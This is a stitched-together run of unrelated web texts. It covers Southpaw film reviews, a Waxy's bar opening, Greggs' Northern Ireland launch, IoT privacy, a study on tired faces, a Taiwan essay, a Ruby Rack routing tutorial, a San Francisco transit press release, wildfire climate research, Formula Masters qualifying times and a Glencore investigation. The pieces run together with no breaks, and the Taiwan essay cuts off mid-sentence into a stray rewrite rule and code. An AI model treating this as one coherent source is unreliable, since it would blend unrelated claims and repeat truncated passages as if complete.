Soren Anderson of The Seattle Times gave the film two and a half stars out of four, saying "Southpaw, a boxing movie with a theme of redemption, is redeemed by the performances of its two main actors, Jake Gyllenhaal and Forest Whitaker."[28] Kyle Smith of the New York Post gave the film one and a half stars out of four, saying "It brings back every stale genre convention you can think of, then hopes you won't recognize predictability pumped up with swearing and steroids and an Eminem song during the training montage."[29] Ty Burr of The Boston Globe gave the film two and a half stars out of four, saying "This is a genre with especially sturdy bones, and when Southpaw connects, which is more often than you might expect, you feel it down to your toes."[30] Ann Hornaday of The Washington Post gave the film one and a half stars out of four, saying "Southpaw may be rote, predictable and mawkish, but none of those faults lie in its star. Even when he looks like an unholy mess, he transcends the movie he's in."[31] Steven Rea of The Philadelphia Inquirer gave the film three out of four stars, saying "What keeps this cornball business from getting out of hand is the commitment of Gyllenhaal, whose performance is fierce and muscular, in and out of the ring."[32] Michael Phillips of the Chicago Tribune gave the film two and a half stars out of four, saying "The script may have hamburger for brains, but Fuqua slams it home with the help of actors who give their all - even when giving a little less might have made things more interesting."[33]
Peter Howell of the Toronto Star gave the film two and a half stars out of four, saying "This isn't great cinema, but it's satisfying movie-making, with nothing more on its mind than telling a heart-tugging story."[34] A. O. Scott of The New York Times said, "I wish I could say Southpaw was a knockout, or even a contender, that it went the distance or scored on points. But it's strictly an undercard bout, displaying enough heart and skill to keep the paying customers from getting too restless."[35] Benjamin Nugent of The New York Times has compared the film to Robert De Niro stating, "Pity Jake Gyllenhaal, who despite getting shredded for Southpaw, could not outbox the shadow of Robert De Niro's Raging Bull performance."[36] Chris Nashawaty of Entertainment Weekly gave the film a C+, saying "Just as director Antoine Fuqua starts to close in on something interesting and unexpected, he retreats to the safety of his corner and gives us what we've seen too many times before: a predictable flurry of melodramatic jabs."[37] Barbara VanDenburgh of The Arizona Republic gave the film three out of five stars, saying "Southpaw is all about the fist. There's no delicate footwork here, no lingering grace notes. It's a film played entirely in power chords."[38] James Berardinelli of ReelViews gave the film three out of four stars, saying "Southpaw isn't content with presenting a gallery of clichéd characters. It takes the time to put flesh on the bones."[39] Colin Covert of the Star Tribune gave the film one out of four stars, slamming Gyllenhaal's performance, saying "As a troubled slugger, Gyllenhaal is impressively muscle-bound, but gives no knockout performance. His work drags on like 12 rounds of fistfight fatigue."[40]
Accolades [ edit ]
Soundtrack [ edit ]
Eminem executive-produced the soundtrack, which was released by Shady Records on July 24, 2015. He had previously released his single called "Phenomenal" from the soundtrack on June 2, 2015.[42]
An album of James Horner's score was released through Sony Classical on July 24, 2015.[43] This was Horner's final score (it was recorded after The 33, although Southpaw was released first); he was killed in a plane crash on June 22, 2015.[44]A small chain called Waxy’s — The Modern Irish Bar & Kitchen is being developed for an opening in the spring at Crossgates Mall in Guilderland, according to the mall’s website. Entrées run $13 to $18; a sample menu is here. Promotional material says the location, directly below The Funny Bone Comedy Club in the mall, will have more than 100 beers on tap and 30 TVs.
From the corporate website, run-on sentence and absent hyphenation intact:
There is something about Waxy’s that you just won’t find in other bars, it’s not only our kitchen fresh food, crafted cocktails and beers, it’s a great time, an experience shared with friends and family and maybe someone you haven’t met yet.
Waxy’s currently has nine locations, in the Northeast, Florida and Texas.
Has anybody been to Waxy’s?Greggs is to open its first store in Northern Ireland at the end of April.
The bakery chain, known for its pasties and sausage rolls, will set up shop in a motorway service station on the M2, just north of Belfast.
It plans to run a 12-month trial at the new store to test out the popularity of its pastries and buns in the province.
The shop will be run by Irish motorway service station chain Applegreen, which operates a number of rest stop facilities across the UK, Ireland and US.
A company spokesman said the bakery chain was "excited" about the trial, which he said would "enable Greggs to assess Northern Ireland’s appetite for its 'Always Fresh. Always Tasty’ customer offer”.
Greggs boss Roger Whiteside first indicated that the chain would expand to Northern Ireland at the company's Christmas trading update, when he said Greggs was "closer than ever" to opening a bakery in the province.
The bakery, which started out as a family business in Newcastle-upon-Tyne in 1951, runs 1,650 stores across England, Scotland and Wales, but has not ventured out of the mainland until now due to supply chain challenges.
Mr Whiteside has presided over a dramatic turnaround at Greggs since becoming chief executive two years ago, in the face of increased competition from coffee shops.
He has closed down the chain's in-store bakeries, focusing instead on food "on-the-go" such as sandwiches, savoury pastries and coffee. He is also modernising the company's stores by installing seating.
The chain also plans to expand its food range further this year by selling omelettes and breakfast baguettes.
Greggs' latest financial results, reported last month, suggest the changes are bearing fruit, with record annual profits of £58.3m and the fastest sales growth since 2007.Soon your home will be alive like the enchanted castle in Beauty and the Beast.
It won't be long before your furniture is smart too. Even your clothes will one day be connected to the Internet. Soon your home will be alive and at your service like the enchanted castle in Beauty and the Beast, where a talking teapot, a singing candelabra and a caring mantel clock are eager to please. For those of you that still rail against the Facebook privacy settings, your data might be collected by every device surrounding you in the near future.
And this is what has been dampening the enthusiasm about these new developments so far. The so-called 'Internet of Things' (IoT) is raising many questions regarding the consumer’s privacy: What will happen with the data accumulated by our furniture? What data will be collected, and how? Where will it be sent,and who gets access to it? Recently a new idea has been making the rounds that could offer an answer to these privacy concerns. Surprisingly, the idea relies on a technology from a totally different context: Bitcoins.
Sound geeky to you? You have never heard of the IoT or Bitcoins before? Here is a short introduction to what will happen to your home in the near future and what could be a good solution for protecting your privacy.
Making the things we own do more for us
“Making the things we own do more for us” is the idea behind the Internet of Things. The term was first used in 1999 to refer to the idea of linking physical objects with the Internet infrastructure. Today, the Internet of Things has generally found application in the industrial and agricultural sectors and in transportation.
A new idea could offer an answer to these privacy concerns.
But soon it will be extended to household appliances and clothes. These smart devices will measure our daily behavior, like our eating and sleeping habits, while connected clothes known as wearables measure our body movements, our heart rate, our blood pressure, etc. The accumulated data can be used to make industry, agriculture and private households more efficient, assist in health care and improve transportation. There is a vast and yet to be discovered variety of applications of the IoT.
Is this a bit difficult to imagine? Just think of your habit of making every Thursday Disney movie night. After a while your furniture has registered this pattern in your behavior and on next Thursday evening, your TV has already downloaded a list of new Disney movies, your popcorn machine has already prepared you a bag, and your lamp has dimmed down to fairytale mood lighting.
People like to compare the development of the IoT with that of the Internet. According to IT market researcher Gartner, there are already 3.8 billion smart objects today. In not even five years, the IoT will consist of 26 billion devices. (Some researchers even speak of 30 to 50 billion by 2020.) Compare this to the circulation of 2.6 billion smartphones today, and the approximately 6.1 billion smartphones predicted by 2020, or with the current world population of 7.36 billion today, and the estimated world population of 8.08 billion by 2020.Katarina Johnson-Thompson of Great Britain yawns during the European Athletics U23 Championships, looks perfectly nice
Photo by Ian MacNicol/Getty Images
A warm hello from the “let’s not police facial expressions” brigade. We are back. This time, we’d like to address the not-uncommon observation made to both men and women, often during moments of vulnerability, that “you look tired.” Intentions aside, you cannot win with this statement. It comes across less like concern than condescension. Whether or not it proves factually accurate, it implies that the person who “looks tired” doesn’t have it together, that her palpable weariness is setting her apart from the shiny, happy herd, that whatever she’s doing is probably “not her best work” because she isn’t “putting her best foot forward” because she wishes she was in bed.
Urban Dictionary, presaging the scientific point this post is about to make, glosses the bit of solicitous unpleasantry as “a politically correct way to say you look like shit.”
(To be fair, in certain situations, with certain people, being told you look tired/terrible is an acceptable price for sympathy. But one must apply this knowledge with extreme circumspection.)
As the Atlantic’s James Hamblin reported Wednesday, researchers from the University of Stockholm have confirmed what we already knew: Sleep-deprived people are perceived as less attractive, less healthy, and sadder than those who have luxuriated in the yearned-for eight hours.
Scientists led by John Axelsson and Tina Sundelin photographed 23 healthy adults, once after a full night’s slumber and once after 31 hours of wakefulness. They then asked 65 “untrained observers” to rate the pictures on scales of listlessness, dejection, and ten metrics of physical beauty.
Unsurprisingly, the weary participants were perceived as having “more hanging eyelids, redder eyes, more swollen eyes and darker circles under the eyes.” Sleep-deprived subjects were also perceived as “being sadder and having paler skin, more wrinkles or fine lines, and more droopy corners of the mouth,” Hamblin writes. He wonders, noting our sensitivity to evidence of fatigue in others, whether such receptiveness betrays an inborn empathy (poor tired person!) or a Machiavellian knack for “exploiting weakness.” (Sitting duck.)
That is what I wonder too, when someone I barely know informs me that I’ve raised her evolutionary “tired person” antenna. Is she expressing genuine or even just polite concern for my well-being, or gloating on some primeval dawn-of-time level that I can’t run away from her fast enough? When, after waiting for the metro for 25 minutes one night this week, I decided to spring for a cab at 11 p.m., was the driver courteously validating my dumb splurge by telling me how pooped I looked? Or rudely treating me like a wilting flower? Or just dispassionately letting me know what I looked like? Do some think it’s a service to update us on what image we’re projecting in a given moment, perhaps so that we can self-correct if we seem too gloomy or disengaged?
“People are capable of detecting sleep loss related facial cues, and these cues modify judgments of another’s health and attractiveness,” the researchers write. Hopefully “you look tired” is not just an insidious way to nudge our appearances toward a cheerful, aesthetically pleasing ideal. That social police work is so…tired.JOHN J. MEARSHEIMER, the distinguished University of Chicago political scientist, argued in the National Interest two years ago that Taiwan had almost no hope of maintaining de facto independence. China, he made clear, will grow so strong in the coming decades that it will, as a regional hegemon, be able to evict the United States from East Asia, dominate its periphery and, one way or another, absorb the island that lies a mere hundred miles from its shores.
Fortunately for the twenty-four million people living in Taiwan, almost everything Mearsheimer thinks about the island’s future is wrong. Mearsheimer gets one thing right, however: the People’s Republic of China will try to make Taiwan its thirty-fourth province.
Mearsheimer relies on standard realist theory to explain Taiwan’s predicament. “The only way to predict how a rising China is likely to behave toward its neighbors as well as the United States is with a theory of great-power politics,” he writes. Applying this theory, he tells us there are two “logics,” China’s nationalism and the country’s imperative to security. “Both logics,” he continues, “lead to the same endgame: the unification of China and Taiwan.” Mearsheimer believes the United States, working to prevent China from dominating its periphery, will at first try to make Taiwan a part of its “anti-China balancing coalition.” Eventually, however, Washington will decide to let go of Taiwan because the prize is more important to the Chinese than to the Americans. From there, it is all downhill for Taipei.
There is an elegant logic to Mearsheimer’s argument, even if it comes off as deterministic at times, but there are two main reasons why Taiwan will prove to be
|
-f RewriteRule ^(.+)$ /index.php?page=$1 [L]
<?php if ($_SERVER['REQUEST_URI'] == '/secret') { echo "Shhhh"; } else { echo "This is public"; }?>
Not too bad, its implementation using Rack::Builder could look something like:
app = Rack::Builder.new do map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["This is public"]] } end map "/secret" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Shhhh"]] } end end run app
Pretty neat? What we have done here is implement Builder to map urls to given actions. These actions are just Proc just now as we find our feet, they return the golden trio we seen in our hello world app.
This is infinitely scalable as well. For example, let’s look at a path such as ‘/secret/files’. Our PHP version gets hairy enough to warrant a rethink (we dont want to go down the line of adding files to relative directories do we?), in Rack we simply nest some map blocks.
map "/secret" do map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Shhhhh"]] } end map "/files" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Here be dragons"]] } end end
Hopefully, you are nearly sold on Rack. While we are still feeling the love, let’s spice it up a bit by adding some more kinky Rack toys.
Rack = Damn Sexy
We mentioned before that Rack is more that a server interface. It comes with a wealth of “components” which are themselves Rack applications. Now, we will look at how we can implement a couple of these.
I always find logging helpful when developing applications.
require 'logger' app = Rack::Builder.new do use Rack::CommonLogger Logger.new('my_rack.log') map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["This is public"]] } end map "/secret" do map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Shhhhh"]] } end map "/files" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Here be dragons"]] } end end run app
We have been talking about secret areas and dragons, so we better lock all that up. HTTP Basic Authentication is always good for securing things.
require 'logger' app = Rack::Builder.new do use Rack::CommonLogger Logger.new('my_rack.log') map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["This is public"]] } end map "/secret" do use Rack::Auth::Basic do |user, password| user =='super_user' && password =='secret' end map "/" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Shhhhh"]] } end map "/files" do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, ["Here be dragons"]] } end end end run app
That was incredibly easy, I remember the days of setting up.htpasswd files and so on.
Rackup
I started this article as if it were a PHP vs Ruby nonsense. And throughout the article I have made references about how we could do this in PHP and compared it to Rack. It was all a cunning rouse, preying on the language troll in all of us. Fact is, both have merits and even comparing Rack with PHP is hardly fair.
I hope this has given you a taste of how flexible, maintainable, and joy-inspiring using Rack is. It’s a great place to start when learning Ruby because there is enough ‘magic’ to keep our interest, but not enough to obscure learning.
We have not finished there though. You will remember all the big frameworks are built on top of Rack. We can actually implement mystical middlewares using Rack that intercept the normal flow of our applications and temporarily hand control to Rack applications. Could be scary, but Rails loves it.Press Release: Board of Supervisors Passes Supervisor Wiener’s Subway Master Plan Along with Extension of Transit Impact Fees to Residential Development
Scott Wiener Blocked Unblock Follow Following Nov 4, 2015
Supervisor Wiener authored the Subway Master Plan, which requires a long-term plan for new subway construction, and played key role in moving forward Transportation Sustainability Fee, which will generate $1.3 billion over 30 years by assessing transit fees on new market-rate developments,
San Francisco — Yesterday the Board of Supervisors approved two measures to address San Francisco’s need for an expanded transportation system. Supervisor Wiener authored the Subway Master Plan to create a roadmap for citywide subway construction in San Francisco, while the Transportation Sustainability Fee (TSF) will generate $44 million annually in new funding for transportation improvements. Supervisor Wiener worked on transit impact fee funding for five years, and partnered with Mayor Ed Lee and co-sponsors Supervisors London Breed and Julie Christensen to pass the TSF.
“For years we have dramatically underfunded transit and suffered from a lack of long-term vision regarding our transportation system,” said Supervisor Wiener. “Our transit systems are over-crowded, as are our streets. As our city and region grow, it’s imperative that we invest in public transportation, more subways, and much improved transit capacity and reliability. These two measures are key steps in this pro-transit effort.”
The TSF requires developers — for the first time — to pay transit impact fees on new market-rate residential developments. Previously, developers only had to pay transportation impact fees on commercial developments. Supervisor Wiener has been working on the TSF for years, including legislation three years ago to improve the TSF’s predecessor, the Transit Impact Development Fee (TIDF). These new fees will go toward new vehicles, transit system enhancements, pedestrian safety projects, and regional transit improvements. The fees generated are estimated to be $44 million per year, or $1.3 billion over 30 years.
Supervisor Wiener’s Subway Master Plan legislation requires the creation of a long-term policy for new citywide subway construction with a goal that San Francisco expand its inadequate subway system. Currently San Francisco has two subways — a short subway under Market Street for Muni and a BART subway that runs down Market Street to the Mission and to Daly City. Most of San Francisco has no subway access at all. A second Muni subway tunnel, the Central Subway, is under construction and will be open in 2019. The Subway Master Plan will require that the city come up with an outline for long-term subway expansion throughout the entire city.
Supervisor Wiener chairs the San Francisco County Transportation Authority and represents San Francisco on the Metropolitan Transportation Commission. He authored Proposition B, the 2014 ballot measure that ties transit funding to population growth, as well as legislation to move San Francisco toward improved late night transportation.The wildfires blazing through North Myrtle Beach, S.C., today are hardly an anomaly in a warming world. According to a landmark report that will be published tomorrow in Science, fires are not just a result of a changing climate, they're also contributing to the overall warming trend much more than imagined, the authors report. As vegetation burns, it releases stored-up carbon into the atmosphere, speeding global warming and thereby exacerbating conditions that may generate a greater incidence of wildfires in the coming years.
Because fires have been part of the global environment for hundreds of millions of years—since the first land plants emerged—as well as a tool for humans for more than 50,000 years, they're largely assumed to be a natural and negligible part of the carbon and climactic cycles. As people use fire on a massive scale as a cheap and efficient way to clear forests for agriculture or development, however, it is having a much greater impact than many scientists realized. In fact, deforestation fires alone have contributed 20 percent of the total greenhouse gases humans have contributed to the atmosphere since industrialization.
The report brought together 22 scientists from a range of disciplines and countries in an effort to better understand the global impact of fire. "This is a critical move away from the thinking that fires are just a disaster," says David Bowman, a professor of forest ecology at the University of Tasmania in Hobart, Australia, and a lead author of the report. Taken in isolation, each conflagration can cause massive human, economic and natural devastation, but as a broader force fire wields a much larger power, according to the report. "Fire is a feature of our planet…. High levels of fire activity have the capacity to change climate," he says.
But across the globe, fires have been getting larger and stronger. "We are witnessing an increasing instance of these megafires," says Thomas Swetnam, director of the Laboratory of Tree-Ring Research at the University of Arizona. This year alone has seen an increase in both the magnitude and deadliness of conflagrations sweeping Australia and the U.S. Southwest. In the past 20 years, the area scorched by fire in the western U.S. was six times greater than in the two decades that preceded it. These infernos are in large part a result of longer, drier summers, which are only poised to get worse with climate change, Swetnam explains.
"The real originality of this work is that we've been able to say something so obvious," Bowman says. He noted that the challenge now will be integrating fire into the large-scale climate models, and that will take further research and understanding.
"What we're calling for," said Bowman of the report, "is inclusion [of fire] in the next [Intergovernmental Panel on Climate Change] models." Not only is the fire of a broader concern for climate stability and human well-being, but large-scale events also pose a risk of upsetting new carbon trading schemes, notes Jennifer Balch, a postdoctoral fellow at the National Center for Ecological Analysis and Synthesis at the University of California, Santa Barbara, because they can release huge amounts of carbon dioxide into the atmosphere with one fell poof.
For more, visit our In-Depth Report on fires and climate change.Sepang race winners Jake Parsons and Martin Rump have clinched pole for the first and third race of Formula Masters China’s round two at Shanghai respectively.
Rump effectively dominated both sessions, but a five-place grid penalty for crashing with Asuka Muratomi at Sepang with see him start the first race of the weekend only sixth.
As such, while Rump was the only one to go beyond 1:50s in qualifying one, it’s points leader Parsons who will line up on pole, having clocked in three tenths adrift and a further two up on teammate Daniel Woodroof.
Eurasia’s Aidan Read will lead an all-Aussie row two, joined by Nicholas Rowe, with Matthew Swanepoel lining up alongside the penalised Rump on row three.
Yuan Bo, Tomoki Takahashi, KCMG’s newcomer Shang Guan Zheng and Sean Hudspeth will round out the top ten.
With no penalties affecting the outcome of qualifying two, Rump duly stormed to pole, again denying Parsons by three tenths.
Debutant Zheng impressed, qualifying in fourth behind Woodroof and ahead of Swanepoel and teammate Rowe.
Read, Bo, Jeffrey Ye and Takahashi made up the rest of the top ten.
Qualifying one results
Pos. Driver Team Time Gap 1 Martin Rump KCMG 1:49.659 2 Jake Parsons Meritus GP 1:50.043 0.384 3 Daniel Woodroof Meritus GP 1:50.351 0.692 4 Aidan Read Eurasia Motorsport 1:50.565 0.906 5 Nicholas Rowe KCMG 1:50.636 0.977 6 Matthew Swanepoel Arrows Racing 1:50.679 1.020 7 Yuan Bo Meritus GP 1:50.791 1.132 8 Tomoki Takahashi Super License 1:50.898 1.239 9 Shang Guan Zheng KCMG 1:50.926 1.267 10 Sean Hudspeth Eurasia Motorsport 1:51.063 1.404 11 Jeffrey Ye KCMG 1:51.337 1.678 12 Kim Jeong Tae Eurasia Motorsport 1:51.565 1.906 13 Hua Miao Eurasia Motorsport 1:52.825 3.166 14 Takashi Hata Super License 1:53.043 3.384 15 Stephen Hong Super License 1:57.386 7.727
Qualifying two results
Pos. Driver Team Time Gap 1 Martin Rump KCMG 1:49.048 2 Jake Parsons Meritus GP 1:49.417 0.369 3 Daniel Woodroof Meritus GP 1:49.605 0.557 4 Shang Guan Zheng KCMG 1:50.117 1.069 5 Matthew Swanepoel Arrows Racing 1:50.179 1.131 6 Nicholas Rowe KCMG 1:50.311 1.263 7 Aidan Read Eurasia Motorsport 1:50.324 1.276 8 Yuan Bo Meritus GP 1:50.842 1.794 9 Jeffrey Ye KCMG 1:50.869 1.821 10 Tomoki Takahashi Super License 1:50.913 1.865 11 Sean Hudspeth Eurasia Motorsport 1:51.118 2.070 12 Kim Jeong Tae Eurasia Motorsport 1:51.228 2.180 13 Takashi Hata Super License 1:52.179 3.131 14 Hua Miao Eurasia Motorsport 1:52.374 3.326 15 Stephen Hong Super License 1:57.185 8.137A Giant Among Giants
When Glencore, the world’s biggest commodities brokerage firm, went public in May 2011, the initial public offering (IPO) on the London and Hong Kong stock exchanges made headlines for weeks in the Financial Times and the trade-industry press, which devoted endless columns to the company’s astonishing valuation of nearly $60 billion — higher than Boeing or Ford Motor Co. The massive new wealth turned nearly 500 employees into overnight multimillionaires and made billionaires of at least five senior executives, including CEO Ivan Glasenberg. “We are not going to change the way we operate,” vowed Glasenberg, who had started as a lowly coal trader for the Swiss firm nearly three decades earlier and, with the IPO, immediately became one of Europe’s richest men. “Being public will have absolutely no effect on the business.”
And what a business it is. The firm was forced to pull back the curtain on its famously secretive doings to go public, and what it revealed shocked even seasoned commodities traders. Glencore, which Reuters once called “the biggest company you never heard of,” turned out to be far more globally dominant than analysts had realized. According to its 1,637-page IPO prospectus, the company controlled more than half the international tradable market in zinc and copper and about a third of the world’s seaborne coal; was one of the world’s largest grain exporters, with about 9 percent of the global market; and handled 3 percent of daily global oil consumption for customers ranging from state-owned energy companies in Brazil and India to American multinationals like ExxonMobil and Chevron. All of which, the prospectus said, helped the firm post revenues of $186 billion in 2011 and employ some 55,000 people in at least 40 countries, generating an average return on equity of 38 percent, about three times higher than that of the gold-standard investment bank Goldman Sachs in 2010. Since then, the company has only gotten vaster in scale. It recently announced a $90 billion takeover of Xstrata, a global mining giant in which it already holds a 34 percent stake; if the deal goes through, Glencore will rule over an “empire stretching from the Sahara to South Africa,” as the Africa Confidential newsletter put it. As it is, Glencore already trades, manufactures, refines, ships, or stores at least 90 commodities in some three dozen countries. “Glencore is at the center of the raw material world,” said Peter Brandt, a longtime commodities trader. “Within this world there are giants, and Glencore is becoming a giant among giants.”
What the IPO filing did not make clear was just how Glencore, founded four decades ago by Marc Rich, a defiant friend of dictators and spies who later became one of the world’s richest fugitives, achieved this kind of global dominance. The answer — pieced together for this article over a year of reporting that included numerous interviews with past and current Glencore employees and a review of leaked corporate records, dossiers prepared by private investigative firms, court documents, and various international investigations — is at once simpler and far more complicated than it appears. Like all traders, Glencore makes its money at the margins, but Glencore, even more so than its competitors, profits by working in the globe’s most marginal business regions and often, investigators have found, at the margins of what is legal.
This means operating in countries where many multinationals fear to tread; building walls made of shell corporations, complex partnerships, and offshore accounts to obscure transactions; and working with shady intermediaries who help the company gain access to resources and curry favor with the corrupt, resource-rich regimes that have made Glencore so fabulously wealthy. “We conduct whatever due diligence is appropriate in each situation to ensure we operate in line with Glencore Corporate Practice,” said spokesman Simon Buerk, when asked how the firm chooses business partners and local representatives.
But to experts, there’s simply no other way for a company like Glencore to thrive. “Unlike the case with many industries, minerals and energy are often owned by the state in Third World countries,” said Michael Ross, author of The Oil Curse and a professor at the University of California, Los Angeles. “And in a number of countries where Glencore operates, doing business means putting money into the pockets of repressive governments and corrupt rulers. In some of those places … it’s hard to draw a line between what’s legally corrupt and what’s not.”
Indeed, going public, according to the sources I spoke with, means building on the business model created and perfected by Rich, who, before his controversial pardon by U.S. President Bill Clinton, was a legendary fugitive, a regular fixture (along with Osama bin Laden) on the FBI’s Most Wanted list. The new Glencore, these sources say, will be like the Glencore of old — only much, much bigger. In today’s superheated market for natural resources driven by booming emerging markets such as Brazil, China, and India, Glencore wants to grow — and in a major way. Already the world’s biggest middleman, it now wants to control the entire business chain, from mines and smelters to storage facilities for finished products, and from pumping oil to shipping it to refineries, while trading and hedging all along the way, industry experts say. “That’s one way that Glencore makes so much money,” a Geneva-based industry source told me. “When you are vertically integrated you make more at every step. The money stays in the same pocket.”
Another way Glencore makes so much money is by leveraging information to take advantage of the wild swings that have marked global commodity prices in recent years, with oil yo-yoing from $147 a barrel in mid-2008 down to $40 later that year and more recently back up over $100. Poor countries that sell commodities often end up losers when prices go down — like Zambia, which in recent years has been intermittently walloped by a combination of rising prices for agricultural products and sharply falling prices for copper and the other mineral exports on which it depends. But Glencore, like a casino where the house always wins, “benefits directly from the volatility,” as Deutsche Bank noted cheerfully in a report on the IPO for potential investors.
Still, the real secret to Glencore’s success is operating in markets that scare off more risk-averse companies that fear running afoul of corporate governance laws in the United States and the European Union. In fact, those markets are precisely where the future of the company lies. Consider what Deutsche Bank identified as Glencore’s “key drivers” of growth: copper in the Democratic Republic of the Congo, coal in Colombia, oil and natural gas in Equatorial Guinea, and gold in Kazakhstan. All are places with a heady, dangerous mix of extraordinary natural wealth and various degrees of instability, violence, and strongman leaders. Glencore’s experience and adeptness operating in these “frontier regions” and “challenging political jurisdictions” — Deutsche Bank’s delicate euphemisms for countries known for corruption, autocracy, and human rights abuses — is central, the investment firm wrote, to Glencore’s “significant growth potential.”
LEVERAGING TIES TO DICTATORS has always been at the heart of the business empire built by Rich, the Belgian-born U.S. citizen who founded what would become Glencore in Switzerland in 1974. “Focus your analysis on Marc Rich,” the Geneva source advised me when I first mentioned I was researching Glencore. “He knew that you have to deal with governments and ministers, and you have to service those people. You can call it corruption, but it’s part of the system.”
Undeniably brilliant, Rich started in 1954 as a mail clerk at Philipp Brothers, then the world’s dominant commodities firm, and within two years had worked his way into the position of junior trader. His own politics were conservative, but money trumped ideology for Rich; he was just as willing to cut deals in fascist Spain — where he worked for a time at the company’s Madrid office, which specialized in handling business in rough countries in Africa and the Middle East — as in communist Cuba, where Philipp Brothers had dispatched him soon after Fidel Castro took power. He went on to travel frequently to Havana, where, in addition to picking up a lifelong fondness for Cohiba cigars, he did business in pyrite, copper, and nickel.
He and Pincus “Pinky” Green left Philipp Brothers in 1974 and established Marc Rich & Co. in the canton of Zug, Switzerland’s most business-friendly tax and secrecy haven. From early on, Rich cultivated ties to monarchs and presidents, diplomats and intelligence agencies, especially Iran’s SAVAK under the shah and Israel’s Mossad. He periodically lent a hand to the latter’s clandestine operations, among them the evacuation of Ethiopian Jews to Israel in the 1980s.
Rich made a fortune by buying oil from Iran during the hostage crisis and Libya when Ronald Reagan’s administration imposed a trade embargo on Muammar al-Qaddafi’s regime, as well as supplying oil to apartheid South Africa. An inveterate sanctions-buster, Rich used offshore front companies and corporate cutouts to try to stay below the radar. He also pioneered the practice of commodity swaps, like the uranium-for-oil deals he brokered in the 1980s between apartheid South Africa and Islamic Iran and Soviet Russia. Such deals frequently caused him trouble with U.S. authorities, and in 1983 Rich fled his home in New York to Switzerland just before the Justice Department issued an indictment against him and Green on charges of racketeering, illegal trading with Iran, and tax evasion. A House committee later described his business as “based largely on systematic bribes and kickbacks to corrupt local officials.”
Still, Rich continued to thrive, until he unsuccessfully tried to corner the global zinc market in 1992 and nearly bankrupted the firm with $172 million in losses, at which point he was forced out in a management buyout. The new directors renamed the company Glencore, which is reportedly — though even this is a secret — short for Global Energy Commodities and Resources.
Rich’s forced exit from Glencore and the U.S. indictment hanging over his head had little impact on his business success. He created a new, independent firm and within a decade was trading 1.5 million barrels of oil a day, with an annual turnover of $30 billion. Then in 2001, on Clinton’s last day in office, the president granted Rich a controversial pardon stemming from the 18-year-old indictment; critics argued that the pardon was connected to the generous contributions that Rich’s ex-wife, Denise, made to a variety of Democratic causes, including Hillary Clinton’s successful 2000 Senate campaign and the Clinton Presidential Library fund. A number of prominent American Jews and Israelis, including then-Prime Minister Ehud Barak and former Mossad Director General Shabtai Shavit, also pressed the White House on Rich’s behalf.
Rich retired to a lavish estate, “La Villa Rose,” on the shores of Lake Lucerne, but his influence continues to be felt at Glencore and throughout the industry. Glasenberg, the company’s CEO since 2002, got his start under Rich as a coal trader and, like the man who mentored him, was a quick study. By the late 1980s, just a few years after he was hired, he was managing the firm’s China and Hong Kong offices and had become one of Rich’s most trusted lieutenants. At least four other of today’s top Glencore executives joined the firm in the Marc Rich era; they’ve preserved a workaholic ethic at the top of the company and — as a London law firm representing the company warned in a letter sent to major British news outlets soon after the IPO — consider themselves “extremely private individuals.” This new leadership at Glencore wasn’t about to go messing with the formula of Rich’s success. Even today, insiders routinely call the firm and a number of other successful trading companies run by Glencore alumni “Marc Rich’s children.”
In one post-Rich example, the company profited handsomely by dealing with Saddam Hussein under the 1996-2003 U.N. Oil-for-Food Program, which allowed the Iraqi dictator to trade limited quantities of oil in exchange for humanitarian supplies. The U.N.’s Independent Inquiry Committee reported in 2005 that Hussein had awarded special “allocations” to companies and individuals who were friendly to the regime. A Glencore agent, Pakistani businessman Murtaza Lakhani, was a conspicuous regime sycophant who hosted a peace concert at his local villa just weeks before the 2003 U.S. invasion. The U.N. committee determined that Glencore had paid surcharges and raised questions about lavish commissions Lakhani received. The Iraq Survey Group, the U.S.-led fact-finding mission sent after the invasion, concluded that Glencore was “one of the most active purchasers” of oil under the Oil-for-Food Program and had paid $3,222,780 in “illegal surcharges.” Yet Glencore was not charged in the scandal after claiming it was unaware surcharges were being paid and that Lakhani’s high fees reflected the extra risk of doing business with Iraq, not slush money for bribes. Glencore still does business in Iraq, though not with Lakhani, and recently was approved by the government to bid on oil blocks scheduled to be sold this year.
This is the heart of the Marc Rich formula: Access is money, and contacts on the ground mean access. The new Glencore, like the old one, relies on a network of fixers, middlemen, and business partners who might make other companies squeamish, among them the Uzbek-born oligarch Michael Cherney, now living in Israel and wanted by Interpol on a Spanish warrant connected to organized crime charges and with whom Glencore traded oil (through an offshore vehicle affiliated with Cherney) in Romania in the mid-2000s. (Bell Pottinger, Cherney’s blue-chip London public relations shop, denied that Cherney had ties to organized crime but declined to “comment at this time on his business relationship to Glencore.”) In Congo-Brazzaville, to take another example, Glencore bought oil from shell companies set up by the state oil company’s head, Denis Gokana (conveniently trained at its London office), according to a lawsuit by Kensington International, a Cayman Islands-based corporation.
Rich has admitted that the old Glencore paid bribes. The new Glencore, however, denies doing so: “We will not be complicit in any third party’s violation of the law in any country, nor the payment nor receipt of bribes, nor participate in any other criminal, fraudulent or corrupt practice,” reads the company’s corporate practice statement. Nonetheless, investigations over the past decade have alleged that Glencore’s agents and employees made illegal payments to secure market access in Bahrain, Belgium, Iraq, and Panama. (Criminal charges have been filed only in the Belgian case, and a trial is ongoing.)
It is business partners like these, enmeshed in a web of deals though not always employed by Glencore, that help the company prosper in those “frontier regions” and “challenging political jurisdictions.”
THE FRONTIERS ARE GLENCORE’S GROWTH engine, and nowhere more so than the Democratic Republic of the Congo, the poster child of the resource-cursed failed state. Doing business there is all but impossible without a well-connected political patron, and Glencore’s partner in Kinshasa is perhaps the most wired of them all: Dan Gertler, an Israeli businessman known for his intimate ties to President Joseph Kabila.
